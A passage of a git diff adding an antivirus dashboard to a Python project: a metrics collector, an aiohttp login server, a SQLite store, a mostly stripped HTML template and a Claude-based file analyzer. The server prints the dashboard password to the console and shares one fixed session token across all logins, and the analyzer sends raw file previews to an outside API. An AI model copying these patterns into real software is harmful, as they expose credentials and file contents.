= psutil.virtual_memory() + + disks = [] + for part in psutil.disk_partitions(all=False): + try: + usage = psutil.disk_usage(part.mountpoint) + disks.append({ + "mount": part.mountpoint, + "device": part.device, + "total": usage.total, + "used": usage.used, + "free": usage.free, + "percent": usage.percent, + }) + except (PermissionError, OSError): + continue + + try: + load = list(os.getloadavg()) + except (OSError, AttributeError): + load = [0.0, 0.0, 0.0] + + try: + net_conns = len(psutil.net_connections(kind="inet")) + except (psutil.AccessDenied, OSError): + net_conns = 0 + + self.store.record_metric( + cpu=cpu, + mem_pct=mem.percent, + mem_used=mem.used, + mem_total=mem.total, + disk_usage=disks, + load_avg=load, + net_conns=net_conns, + ) + + # Periodic cleanup (~1 in 100 samples). + if random.randint(1, 100) == 1: + self.store.cleanup_old_metrics() + + # ------------------------------------------------------------------ + # One-shot snapshot (no storage) + # ------------------------------------------------------------------ + + @staticmethod + def get_snapshot() -> Dict[str, Any]: + """Return a live system snapshot without persisting it.""" + cpu = psutil.cpu_percent(interval=0.1) + cpu_per_core = psutil.cpu_percent(interval=0.1, percpu=True) + cpu_freq = psutil.cpu_freq(percpu=False) + mem = psutil.virtual_memory() + swap = psutil.swap_memory() + + disks = [] + for part in psutil.disk_partitions(all=False): + try: + usage = psutil.disk_usage(part.mountpoint) + disks.append({ + "mount": part.mountpoint, + "device": part.device, + "total": usage.total, + "used": usage.used, + "percent": usage.percent, + }) + except (PermissionError, OSError): + continue + + try: + load = list(os.getloadavg()) + except (OSError, AttributeError): + load = [0.0, 0.0, 0.0] + + try: + net_conns = len(psutil.net_connections(kind="inet")) + except (psutil.AccessDenied, OSError): + net_conns = 0 + + # Top processes by CPU + top_procs = [] + try: + for p in sorted(psutil.process_iter(['pid', 'name', 'cpu_percent', 'memory_percent']), + key=lambda x: x.info.get('cpu_percent', 0) or 0, reverse=True)[:8]: + info = p.info + if (info.get('cpu_percent') or 0) > 0.1: + top_procs.append({ + "pid": info['pid'], + "name": info['name'] or '?', + "cpu": round(info.get('cpu_percent', 0) or 0, 1), + "mem": round(info.get('memory_percent', 0) or 0, 1), + }) + except Exception: + pass + + return { + "cpu_percent": cpu, + "cpu_per_core": cpu_per_core, + "cpu_cores": psutil.cpu_count(logical=True), + "cpu_freq_mhz": round(cpu_freq.current) if cpu_freq else 0, + "mem_percent": mem.percent, + "mem_used": mem.used, + "mem_total": mem.total, + "mem_available": mem.available, + "mem_cached": getattr(mem, 'cached', 0), + "mem_buffers": getattr(mem, 'buffers', 0), + "swap_percent": swap.percent, + "swap_used": swap.used, + "swap_total": swap.total, + "disk_usage": disks, + "load_avg": load, + "net_connections": net_conns, + "top_processes": top_procs, + "timestamp": datetime.utcnow().isoformat(), + } diff --git a/ayn-antivirus/ayn_antivirus/dashboard/server.py b/ayn-antivirus/ayn_antivirus/dashboard/server.py new file mode 100644 index 0000000..9aa33cb --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/server.py @@ -0,0 +1,427 @@ +"""AYN Antivirus Dashboard — Web Server with Password Auth. + +Lightweight aiohttp server that serves the dashboard SPA and REST API. +Non-localhost access requires username/password authentication via a +session cookie obtained through ``POST /login``. +""" + +from __future__ import annotations + +import logging +import secrets +import time +from typing import Dict, Optional +from urllib.parse import urlparse + +from aiohttp import web + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import QUARANTINE_ENCRYPTION_KEY_FILE +from ayn_antivirus.dashboard.api import setup_routes +from ayn_antivirus.dashboard.collector import MetricsCollector +from ayn_antivirus.dashboard.store import DashboardStore +from ayn_antivirus.dashboard.templates import get_dashboard_html + +logger = logging.getLogger("ayn_antivirus.dashboard.server") + + +# ------------------------------------------------------------------ +# JSON error handler — prevent aiohttp returning HTML on /api/* routes +# ------------------------------------------------------------------ + +@web.middleware +async def json_error_middleware( + request: web.Request, + handler, +) -> web.StreamResponse: + """Catch unhandled exceptions and return JSON for API routes. + + Without this, aiohttp's default error handler returns HTML error + pages, which break frontend ``fetch().json()`` calls. + """ + try: + return await handler(request) + except web.HTTPException as exc: + if request.path.startswith("/api/"): + return web.json_response( + {"error": exc.reason or "Request failed"}, + status=exc.status, + ) + raise + except Exception as exc: + logger.exception("Unhandled error on %s %s", request.method, request.path) + if request.path.startswith("/api/"): + return web.json_response( + {"error": f"Internal server error: {exc}"}, + status=500, + ) + return web.Response( + text="

500 Internal Server Error

", + status=500, + content_type="text/html", + ) + +# ------------------------------------------------------------------ +# Rate limiting state +# ------------------------------------------------------------------ + +_action_timestamps: Dict[str, float] = {} +_RATE_LIMIT_SECONDS = 10 + + +# ------------------------------------------------------------------ +# Authentication middleware +# ------------------------------------------------------------------ + + +@web.middleware +async def auth_middleware( + request: web.Request, + handler, +) -> web.StreamResponse: + """Authenticate all requests. + + * ``/login`` and ``/favicon.ico`` are always allowed. + * All other routes require a valid session cookie. + * Unauthenticated HTML routes serve the login page. + * Unauthenticated ``/api/*`` returns 401. + * POST ``/api/actions/*`` enforces CSRF and rate limiting. + """ + # Login route is always open. + if request.path in ("/login", "/favicon.ico"): + return await handler(request) + + # All requests require auth (no localhost bypass — behind reverse proxy). + # Check session cookie. + session_token = request.app.get("_session_token", "") + cookie = request.cookies.get("ayn_session", "") + authenticated = ( + cookie + and session_token + and secrets.compare_digest(cookie, session_token) + ) + + if not authenticated: + if request.path.startswith("/api/"): + return web.json_response( + {"error": "Unauthorized. Please login."}, status=401, + ) + # Serve login page for HTML routes. + return web.Response( + text=request.app["_login_html"], content_type="text/html", + ) + + # CSRF + rate-limiting for POST action endpoints. + if request.method == "POST" and request.path.startswith("/api/actions/"): + origin = request.headers.get("Origin", "") + if origin: + parsed = urlparse(origin) + origin_host = parsed.hostname or "" + host = request.headers.get("Host", "") + expected = host.split(":")[0] if host else "" + allowed = {expected, "localhost", "127.0.0.1", "::1"} + allowed.discard("") + if origin_host not in allowed: + return web.json_response( + {"error": "CSRF: Origin mismatch"}, status=403, + ) + + now = time.time() + last = _action_timestamps.get(request.path, 0) + if now - last < _RATE_LIMIT_SECONDS: + return web.json_response( + {"error": "Rate limited. Try again in a few seconds."}, + status=429, + ) + _action_timestamps[request.path] = now + + return await handler(request) + + +# ------------------------------------------------------------------ +# Dashboard server +# ------------------------------------------------------------------ + + +class DashboardServer: + """AYN Antivirus dashboard with username/password authentication.""" + + def __init__(self, config: Optional[Config] = None) -> None: + self.config = config or Config() + self.store = DashboardStore(self.config.dashboard_db_path) + self.collector = MetricsCollector(self.store) + self.app = web.Application(middlewares=[json_error_middleware, auth_middleware]) + self._session_token: str = secrets.token_urlsafe(32) + self._runner: Optional[web.AppRunner] = None + self._site: Optional[web.TCPSite] = None + self._setup() + + # ------------------------------------------------------------------ + # Setup + # ------------------------------------------------------------------ + + def _setup(self) -> None: + """Configure the aiohttp application.""" + self.app["_session_token"] = self._session_token + self.app["_login_html"] = self._build_login_page() + + self.app["store"] = self.store + self.app["collector"] = self.collector + self.app["config"] = self.config + + # Quarantine vault (best-effort). + try: + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.app["vault"] = QuarantineVault( + quarantine_dir=self.config.quarantine_path, + key_file_path=QUARANTINE_ENCRYPTION_KEY_FILE, + ) + except Exception as exc: + logger.warning("Quarantine vault not available: %s", exc) + + # API routes (``/api/*``). + setup_routes(self.app) + + # HTML routes. + self.app.router.add_get("/", self._serve_dashboard) + self.app.router.add_get("/dashboard", self._serve_dashboard) + self.app.router.add_get("/login", self._serve_login) + self.app.router.add_post("/login", self._handle_login) + + # Lifecycle hooks. + self.app.on_startup.append(self._on_startup) + self.app.on_shutdown.append(self._on_shutdown) + + # ------------------------------------------------------------------ + # Request handlers + # ------------------------------------------------------------------ + + async def _serve_login(self, request: web.Request) -> web.Response: + """``GET /login`` — render the login page.""" + return web.Response( + text=self.app["_login_html"], content_type="text/html", + ) + + async def _serve_dashboard(self, request: web.Request) -> web.Response: + """``GET /`` or ``GET /dashboard`` — render the SPA. + + The middleware already enforces auth for non-localhost, so if we + reach here the client is authenticated (or local). + """ + html = get_dashboard_html() + return web.Response(text=html, content_type="text/html") + + async def _handle_login(self, request: web.Request) -> web.Response: + """``POST /login`` — validate username/password, set session cookie.""" + try: + body = await request.json() + username = body.get("username", "").strip() + password = body.get("password", "").strip() + except Exception: + return web.json_response({"error": "Invalid request"}, status=400) + + if not username or not password: + return web.json_response( + {"error": "Username and password required"}, status=400, + ) + + valid_user = secrets.compare_digest( + username, self.config.dashboard_username, + ) + valid_pass = secrets.compare_digest( + password, self.config.dashboard_password, + ) + + if not (valid_user and valid_pass): + self.store.log_activity( + f"Failed login attempt from {request.remote}: user={username}", + "WARNING", + "auth", + ) + return web.json_response( + {"error": "Invalid username or password"}, status=401, + ) + + self.store.log_activity( + f"Successful login from {request.remote}: user={username}", + "INFO", + "auth", + ) + response = web.json_response( + {"status": "ok", "message": "Welcome to AYN Antivirus"}, + ) + response.set_cookie( + "ayn_session", + self._session_token, + httponly=True, + max_age=86400, + samesite="Strict", + ) + return response + + # ------------------------------------------------------------------ + # Login page + # ------------------------------------------------------------------ + + @staticmethod + def _build_login_page() -> str: + """Return a polished HTML login form with username + password fields.""" + return ''' + + + +AYN Antivirus \u2014 Login + + + + +''' + + # ------------------------------------------------------------------ + # Lifecycle hooks + # ------------------------------------------------------------------ + + async def _on_startup(self, app: web.Application) -> None: + await self.collector.start() + self.store.log_activity("Dashboard server started", "INFO", "server") + logger.info( + "Dashboard on http://%s:%d", + self.config.dashboard_host, + self.config.dashboard_port, + ) + + async def _on_shutdown(self, app: web.Application) -> None: + await self.collector.stop() + self.store.log_activity("Dashboard server stopped", "INFO", "server") + self.store.close() + + # ------------------------------------------------------------------ + # Blocking run + # ------------------------------------------------------------------ + + def run(self) -> None: + """Run the dashboard server (blocking).""" + host = self.config.dashboard_host + port = self.config.dashboard_port + print(f"\n \U0001f6e1\ufe0f AYN Antivirus Dashboard") + print(f" \U0001f310 http://{host}:{port}") + print(f" \U0001f464 Username: {self.config.dashboard_username}") + print(f" \U0001f511 Password: {self.config.dashboard_password}") + print(f" Press Ctrl+C to stop\n") + web.run_app(self.app, host=host, port=port, print=None) + + # ------------------------------------------------------------------ + # Async start / stop (non-blocking) + # ------------------------------------------------------------------ + + async def start_async(self) -> None: + """Start the server without blocking.""" + self._runner = web.AppRunner(self.app) + await self._runner.setup() + self._site = web.TCPSite( + self._runner, + self.config.dashboard_host, + self.config.dashboard_port, + ) + await self._site.start() + self.store.log_activity( + "Dashboard server started (async)", "INFO", "server", + ) + + async def stop_async(self) -> None: + """Stop a server previously started with :meth:`start_async`.""" + if self._site: + await self._site.stop() + if self._runner: + await self._runner.cleanup() + await self.collector.stop() + self.store.close() + + +# ------------------------------------------------------------------ +# Convenience entry point +# ------------------------------------------------------------------ + + +def run_dashboard(config: Optional[Config] = None) -> None: + """Create a :class:`DashboardServer` and run it (blocking).""" + DashboardServer(config).run() diff --git a/ayn-antivirus/ayn_antivirus/dashboard/store.py b/ayn-antivirus/ayn_antivirus/dashboard/store.py new file mode 100644 index 0000000..1448c86 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/store.py @@ -0,0 +1,386 @@ +"""Persistent storage for dashboard metrics, threat logs, and scan history.""" + +from __future__ import annotations + +import json +import os +import sqlite3 +import threading +from datetime import datetime, timedelta +from typing import Any, Dict, List, Optional + +from ayn_antivirus.constants import ( + DASHBOARD_MAX_THREATS_DISPLAY, + DASHBOARD_METRIC_RETENTION_HOURS, + DASHBOARD_SCAN_HISTORY_DAYS, + DEFAULT_DASHBOARD_DB_PATH, +) + + +class DashboardStore: + """SQLite-backed store for all dashboard data. + + Parameters + ---------- + db_path: + Path to the SQLite database file. Created automatically if it + does not exist. + """ + + def __init__(self, db_path: str = DEFAULT_DASHBOARD_DB_PATH) -> None: + os.makedirs(os.path.dirname(db_path) or ".", exist_ok=True) + self.db_path = db_path + self._lock = threading.RLock() + self.conn = sqlite3.connect(db_path, check_same_thread=False) + self.conn.row_factory = sqlite3.Row + self.conn.execute("PRAGMA journal_mode=WAL") + self.conn.execute("PRAGMA synchronous=NORMAL") + self._create_tables() + + # ------------------------------------------------------------------ + # Schema + # ------------------------------------------------------------------ + + def _create_tables(self) -> None: + self.conn.executescript(""" + CREATE TABLE IF NOT EXISTS metrics ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + cpu_percent REAL DEFAULT 0, + mem_percent REAL DEFAULT 0, + mem_used INTEGER DEFAULT 0, + mem_total INTEGER DEFAULT 0, + disk_usage_json TEXT DEFAULT '[]', + load_avg_json TEXT DEFAULT '[]', + net_connections INTEGER DEFAULT 0 + ); + CREATE TABLE IF NOT EXISTS threat_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + file_path TEXT, + threat_name TEXT NOT NULL, + threat_type TEXT NOT NULL, + severity TEXT NOT NULL, + detector TEXT, + file_hash TEXT, + action_taken TEXT DEFAULT 'detected', + details TEXT + ); + CREATE TABLE IF NOT EXISTS scan_history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + scan_type TEXT NOT NULL, + scan_path TEXT, + files_scanned INTEGER DEFAULT 0, + files_skipped INTEGER DEFAULT 0, + threats_found INTEGER DEFAULT 0, + duration_seconds REAL DEFAULT 0, + status TEXT DEFAULT 'completed' + ); + CREATE TABLE IF NOT EXISTS signature_updates ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + feed_name TEXT NOT NULL, + hashes_added INTEGER DEFAULT 0, + ips_added INTEGER DEFAULT 0, + domains_added INTEGER DEFAULT 0, + urls_added INTEGER DEFAULT 0, + status TEXT DEFAULT 'success', + details TEXT + ); + CREATE TABLE IF NOT EXISTS activity_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + level TEXT NOT NULL DEFAULT 'INFO', + source TEXT, + message TEXT NOT NULL + ); + CREATE INDEX IF NOT EXISTS idx_metrics_ts ON metrics(timestamp); + CREATE INDEX IF NOT EXISTS idx_threats_ts ON threat_log(timestamp); + CREATE INDEX IF NOT EXISTS idx_threats_severity ON threat_log(severity); + CREATE INDEX IF NOT EXISTS idx_scans_ts ON scan_history(timestamp); + CREATE INDEX IF NOT EXISTS idx_sigs_ts ON signature_updates(timestamp); + CREATE INDEX IF NOT EXISTS idx_activity_ts ON activity_log(timestamp); + """) + self.conn.commit() + + # ------------------------------------------------------------------ + # Metrics + # ------------------------------------------------------------------ + + def record_metric( + self, + cpu: float, + mem_pct: float, + mem_used: int, + mem_total: int, + disk_usage: list, + load_avg: list, + net_conns: int, + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO metrics " + "(cpu_percent, mem_percent, mem_used, mem_total, " + "disk_usage_json, load_avg_json, net_connections) " + "VALUES (?,?,?,?,?,?,?)", + (cpu, mem_pct, mem_used, mem_total, + json.dumps(disk_usage), json.dumps(load_avg), net_conns), + ) + self.conn.commit() + + def get_latest_metrics(self) -> Optional[Dict[str, Any]]: + with self._lock: + row = self.conn.execute( + "SELECT * FROM metrics ORDER BY id DESC LIMIT 1" + ).fetchone() + if not row: + return None + d = dict(row) + d["disk_usage"] = json.loads(d.pop("disk_usage_json", "[]")) + d["load_avg"] = json.loads(d.pop("load_avg_json", "[]")) + return d + + def get_metrics_history(self, hours: int = 1) -> List[Dict[str, Any]]: + cutoff = (datetime.utcnow() - timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + rows = self.conn.execute( + "SELECT * FROM metrics WHERE timestamp >= ? ORDER BY timestamp", + (cutoff,), + ).fetchall() + result: List[Dict[str, Any]] = [] + for r in rows: + d = dict(r) + d["disk_usage"] = json.loads(d.pop("disk_usage_json", "[]")) + d["load_avg"] = json.loads(d.pop("load_avg_json", "[]")) + result.append(d) + return result + + # ------------------------------------------------------------------ + # Threats + # ------------------------------------------------------------------ + + def record_threat( + self, + file_path: str, + threat_name: str, + threat_type: str, + severity: str, + detector: str = "", + file_hash: str = "", + action: str = "detected", + details: str = "", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO threat_log " + "(file_path, threat_name, threat_type, severity, " + "detector, file_hash, action_taken, details) " + "VALUES (?,?,?,?,?,?,?,?)", + (file_path, threat_name, threat_type, severity, + detector, file_hash, action, details), + ) + self.conn.commit() + + def get_recent_threats( + self, limit: int = DASHBOARD_MAX_THREATS_DISPLAY, + ) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM threat_log ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + def get_threat_stats(self) -> Dict[str, Any]: + with self._lock: + total = self.conn.execute( + "SELECT COUNT(*) FROM threat_log" + ).fetchone()[0] + + by_severity: Dict[str, int] = {} + for row in self.conn.execute( + "SELECT severity, COUNT(*) as cnt FROM threat_log GROUP BY severity" + ): + by_severity[row[0]] = row[1] + + cutoff_24h = (datetime.utcnow() - timedelta(hours=24)).strftime("%Y-%m-%d %H:%M:%S") + cutoff_7d = (datetime.utcnow() - timedelta(days=7)).strftime("%Y-%m-%d %H:%M:%S") + + last_24h = self.conn.execute( + "SELECT COUNT(*) FROM threat_log WHERE timestamp >= ?", + (cutoff_24h,), + ).fetchone()[0] + last_7d = self.conn.execute( + "SELECT COUNT(*) FROM threat_log WHERE timestamp >= ?", + (cutoff_7d,), + ).fetchone()[0] + + return { + "total": total, + "by_severity": by_severity, + "last_24h": last_24h, + "last_7d": last_7d, + } + + # ------------------------------------------------------------------ + # Scans + # ------------------------------------------------------------------ + + def record_scan( + self, + scan_type: str, + scan_path: str, + files_scanned: int, + files_skipped: int, + threats_found: int, + duration: float, + status: str = "completed", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO scan_history " + "(scan_type, scan_path, files_scanned, files_skipped, " + "threats_found, duration_seconds, status) " + "VALUES (?,?,?,?,?,?,?)", + (scan_type, scan_path, files_scanned, files_skipped, + threats_found, duration, status), + ) + self.conn.commit() + + def get_recent_scans(self, limit: int = 30) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM scan_history ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + def get_scan_chart_data( + self, days: int = DASHBOARD_SCAN_HISTORY_DAYS, + ) -> List[Dict[str, Any]]: + cutoff = (datetime.utcnow() - timedelta(days=days)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + rows = self.conn.execute( + "SELECT DATE(timestamp) as day, " + "COUNT(*) as scans, " + "SUM(threats_found) as threats, " + "SUM(files_scanned) as files " + "FROM scan_history WHERE timestamp >= ? " + "GROUP BY DATE(timestamp) ORDER BY day", + (cutoff,), + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Signature Updates + # ------------------------------------------------------------------ + + def record_sig_update( + self, + feed_name: str, + hashes: int = 0, + ips: int = 0, + domains: int = 0, + urls: int = 0, + status: str = "success", + details: str = "", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO signature_updates " + "(feed_name, hashes_added, ips_added, domains_added, " + "urls_added, status, details) " + "VALUES (?,?,?,?,?,?,?)", + (feed_name, hashes, ips, domains, urls, status, details), + ) + self.conn.commit() + + def get_recent_sig_updates(self, limit: int = 20) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM signature_updates ORDER BY id DESC LIMIT ?", + (limit,), + ).fetchall() + return [dict(r) for r in rows] + + def get_sig_stats(self) -> Dict[str, Any]: + """Return signature stats from the actual signatures database.""" + result = { + "total_hashes": 0, + "total_ips": 0, + "total_domains": 0, + "total_urls": 0, + "last_update": None, + } + # Try to read live counts from the signatures DB + sig_db_path = self.db_path.replace("dashboard.db", "signatures.db") + try: + import sqlite3 as _sql + sdb = _sql.connect(sig_db_path) + sdb.row_factory = _sql.Row + for tbl, key in [("threats", "total_hashes"), ("ioc_ips", "total_ips"), + ("ioc_domains", "total_domains"), ("ioc_urls", "total_urls")]: + try: + result[key] = sdb.execute(f"SELECT COUNT(*) FROM {tbl}").fetchone()[0] + except Exception: + pass + try: + ts = sdb.execute("SELECT MAX(added_date) FROM threats").fetchone()[0] + result["last_update"] = ts + except Exception: + pass + sdb.close() + except Exception: + # Fallback to dashboard update log + with self._lock: + row = self.conn.execute( + "SELECT SUM(hashes_added), SUM(ips_added), " + "SUM(domains_added), SUM(urls_added) FROM signature_updates" + ).fetchone() + result["total_hashes"] = row[0] or 0 + result["total_ips"] = row[1] or 0 + result["total_domains"] = row[2] or 0 + result["total_urls"] = row[3] or 0 + lu = self.conn.execute( + "SELECT MAX(timestamp) FROM signature_updates" + ).fetchone()[0] + result["last_update"] = lu + return result + + # ------------------------------------------------------------------ + # Activity Log + # ------------------------------------------------------------------ + + def log_activity( + self, + message: str, + level: str = "INFO", + source: str = "system", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO activity_log (level, source, message) VALUES (?,?,?)", + (level, source, message), + ) + self.conn.commit() + + def get_recent_logs(self, limit: int = 20) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM activity_log ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Cleanup + # ------------------------------------------------------------------ + + def cleanup_old_metrics( + self, hours: int = DASHBOARD_METRIC_RETENTION_HOURS, + ) -> None: + cutoff = (datetime.utcnow() - timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + self.conn.execute("DELETE FROM metrics WHERE timestamp < ?", (cutoff,)) + self.conn.commit() + + def close(self) -> None: + self.conn.close() diff --git a/ayn-antivirus/ayn_antivirus/dashboard/templates.py b/ayn-antivirus/ayn_antivirus/dashboard/templates.py new file mode 100644 index 0000000..4559889 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/templates.py @@ -0,0 +1,910 @@ +"""AYN Antivirus Dashboard — HTML Template. + +Single-page application with embedded CSS and JavaScript. +All data is fetched from the ``/api/*`` endpoints. +""" + +from __future__ import annotations + + +def get_dashboard_html() -> str: + """Return the complete HTML dashboard as a string.""" + return _HTML + + +_HTML = r""" + + + + +AYN Antivirus — Security Dashboard + + + + + +
+
+ +
Security Dashboard
+
+
+
+
Up
+
+
+
+ + + + + +
+ + +
+ +
+
+
Protection
Active
AI-powered analysis
+
Last Scan
+
Signatures
+
Quarantine
0
Isolated items
+
+
+ + +
+
🧮 CPU Per Core
+
+ +
+
+ + +
+
🧠 Memory Usage
+
+
+ +
+
+
Memory Breakdown
+
+
+
Swap
+
+
+
+
+
+ + +
+
+
Load Average
1 / 5 / 15 min
+
Network Connections
Active inet sockets
+
CPU Frequency
Current MHz
+
+
+ + +
+
⚙️ Top Processes
+
+
PIDProcessCPU %RAM %
Loading…
+
+
+ + +
+
💾 Disk Usage
+
Loading…
+
+ + +
+
⚠️ Threat Summary
+
+
Critical
0
+
High
0
+
Medium
0
+
Low
0
+
+
+ + +
+
📈 Scan Activity (14 days)
+
+ +
+ 🔵 Scans🔴 Threats Found +
+
+
+
+ + +
+
+ + + +
+
+
TimeFile PathThreatTypeSeverityDetectorAI VerdictStatusActions
Loading…
+
+
Page 1
+
+ + +
+
+ + +
+
+
📈 Scan History (30 days)
+
🔵 Scans🔴 Threats
+
+
+
📋 Recent Scans
+
+
TimeTypePathFilesThreatsDurationStatus
Loading…
+
+
+
+ + +
+
+
Hashes
0
+
Malicious IPs
0
+
Domains
0
+
URLs
0
+
+
+ + + + + + +
+
+
All
+
Hashes
+
IPs
+
Domains
+
URLs
+
+
+
Loading…
+
Page 1
+
+
🔄 Recent Updates
+
TimeFeedHashesIPsDomainsURLsStatus
+
+
+ + +
+
+ +
+
+
Containers Found
0
+
Available Runtimes
+
Container Threats
0
+
+
+
📦 Discovered Containers
+
+ +
IDNameImageRuntimeStatusIPPortsAction
Loading…
+
+
+
+
⚠️ Container Threats
+
+ +
TimeContainerThreatTypeSeverityDetails
No container threats ✅
+
+
+
+ + +
+
+
Total Quarantined
0
+
Vault Size
0 B
+
+
IDOriginal PathThreatDateSize
Vault is empty ✅
+
+ + +
+
+
Loading…
+
+ +
+ + +
+ + + +""" diff --git a/ayn-antivirus/ayn_antivirus/detectors/__init__.py b/ayn-antivirus/ayn_antivirus/detectors/__init__.py new file mode 100644 index 0000000..d26e3ae --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/__init__.py @@ -0,0 +1,20 @@ +"""AYN Antivirus detector modules.""" + +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult +from ayn_antivirus.detectors.cryptominer_detector import CryptominerDetector +from ayn_antivirus.detectors.heuristic_detector import HeuristicDetector +from ayn_antivirus.detectors.rootkit_detector import RootkitDetector +from ayn_antivirus.detectors.signature_detector import SignatureDetector +from ayn_antivirus.detectors.spyware_detector import SpywareDetector +from ayn_antivirus.detectors.yara_detector import YaraDetector + +__all__ = [ + "BaseDetector", + "DetectionResult", + "CryptominerDetector", + "HeuristicDetector", + "RootkitDetector", + "SignatureDetector", + "SpywareDetector", + "YaraDetector", +] diff --git a/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py b/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py new file mode 100644 index 0000000..e53176b --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/ai_analyzer.py @@ -0,0 +1,268 @@ +"""AYN Antivirus — AI-Powered Threat Analyzer. + +Uses Claude to analyze suspicious files and filter false positives. +Each detection from heuristic/signature scanners is verified by AI +before being reported as a real threat. +""" + +from __future__ import annotations + +import json +import logging +import os +import platform +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Dict, List, Optional + +logger = logging.getLogger(__name__) + +SYSTEM_PROMPT = """Linux VPS antivirus analyst. {environment} +Normal: pip/npm scripts in /usr/local/bin, Docker hex IDs, cron jobs (fstrim/certbot/logrotate), high-entropy archives, curl/wget in deploy scripts, recently-modified files after apt/pip. +Reply ONLY JSON: {{"verdict":"threat"|"safe"|"suspicious","confidence":0-100,"reason":"short","recommended_action":"quarantine"|"delete"|"ignore"|"monitor"}}""" + +ANALYSIS_PROMPT = """FILE:{file_path} DETECT:{threat_name}({threat_type}) SEV:{severity} DET:{detector} CONF:{original_confidence}% SIZE:{file_size} PERM:{permissions} OWN:{owner} MOD:{mtime} +PREVIEW: +{content_preview} +JSON verdict:""" + + +@dataclass +class AIVerdict: + """Result of AI analysis on a detection.""" + verdict: str # threat, safe, suspicious + confidence: int # 0-100 + reason: str + recommended_action: str # quarantine, delete, ignore, monitor + raw_response: str = "" + + @property + def is_threat(self) -> bool: + return self.verdict == "threat" + + @property + def is_safe(self) -> bool: + return self.verdict == "safe" + + +class AIAnalyzer: + """AI-powered threat analysis using Claude.""" + + def __init__(self, api_key: Optional[str] = None, model: str = "claude-sonnet-4-20250514"): + self._api_key = api_key or os.environ.get("ANTHROPIC_API_KEY", "") or self._load_key_from_env_file() + self._model = model + self._client = None + self._environment = self._detect_environment() + + @staticmethod + def _load_key_from_env_file() -> str: + for p in ["/opt/ayn-antivirus/.env", Path.home() / ".ayn-antivirus" / ".env"]: + try: + for line in Path(p).read_text().splitlines(): + line = line.strip() + if line.startswith("ANTHROPIC_API_KEY=") and not line.endswith("="): + return line.split("=", 1)[1].strip().strip("'\"") + except Exception: + pass + return "" + + @property + def available(self) -> bool: + return bool(self._api_key) + + def _get_client(self): + if not self._client: + try: + import anthropic + self._client = anthropic.Anthropic(api_key=self._api_key) + except Exception as exc: + logger.error("Failed to init Anthropic client: %s", exc) + return None + return self._client + + @staticmethod + def _detect_environment() -> str: + """Gather environment context for the AI.""" + import shutil + parts = [ + f"OS: {platform.system()} {platform.release()}", + f"Hostname: {platform.node()}", + f"Arch: {platform.machine()}", + ] + if shutil.which("incus"): + parts.append("Container runtime: Incus/LXC (containers run Docker inside)") + if shutil.which("docker"): + parts.append("Docker: available") + if Path("/etc/dokploy").exists() or shutil.which("dokploy"): + parts.append("Platform: Dokploy (Docker deployment platform)") + + # Check if we're inside a container + if Path("/run/host/container-manager").exists(): + parts.append("Running inside: managed container") + return "\n".join(parts) + + def _get_file_context(self, file_path: str) -> Dict[str, Any]: + """Gather file metadata and content preview.""" + p = Path(file_path) + ctx = { + "file_size": 0, + "permissions": "", + "owner": "", + "mtime": "", + "content_preview": "[file not readable]", + } + try: + st = p.stat() + ctx["file_size"] = st.st_size + ctx["permissions"] = oct(st.st_mode)[-4:] + ctx["mtime"] = str(st.st_mtime) + try: + import pwd + ctx["owner"] = pwd.getpwuid(st.st_uid).pw_name + except Exception: + ctx["owner"] = str(st.st_uid) + except OSError: + pass + + try: + with open(file_path, "rb") as f: + raw = f.read(512) + # Try text decode, fall back to hex + try: + ctx["content_preview"] = raw.decode("utf-8", errors="replace") + except Exception: + ctx["content_preview"] = raw.hex()[:512] + except Exception: + pass + + return ctx + + def analyze( + self, + file_path: str, + threat_name: str, + threat_type: str, + severity: str, + detector: str, + confidence: int = 50, + ) -> AIVerdict: + """Analyze a single detection with AI.""" + if not self.available: + # No API key — pass through as-is + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason="AI analysis unavailable (no API key)", + recommended_action="quarantine", + ) + + client = self._get_client() + if not client: + return AIVerdict( + verdict="suspicious", + confidence=confidence, + reason="AI client init failed", + recommended_action="quarantine", + ) + + ctx = self._get_file_context(file_path) + + # Sanitize content preview to avoid format string issues + preview = ctx.get("content_preview", "") + if len(preview) > 500: + preview = preview[:500] + "..." + # Replace curly braces to avoid format() issues + preview = preview.replace("{", 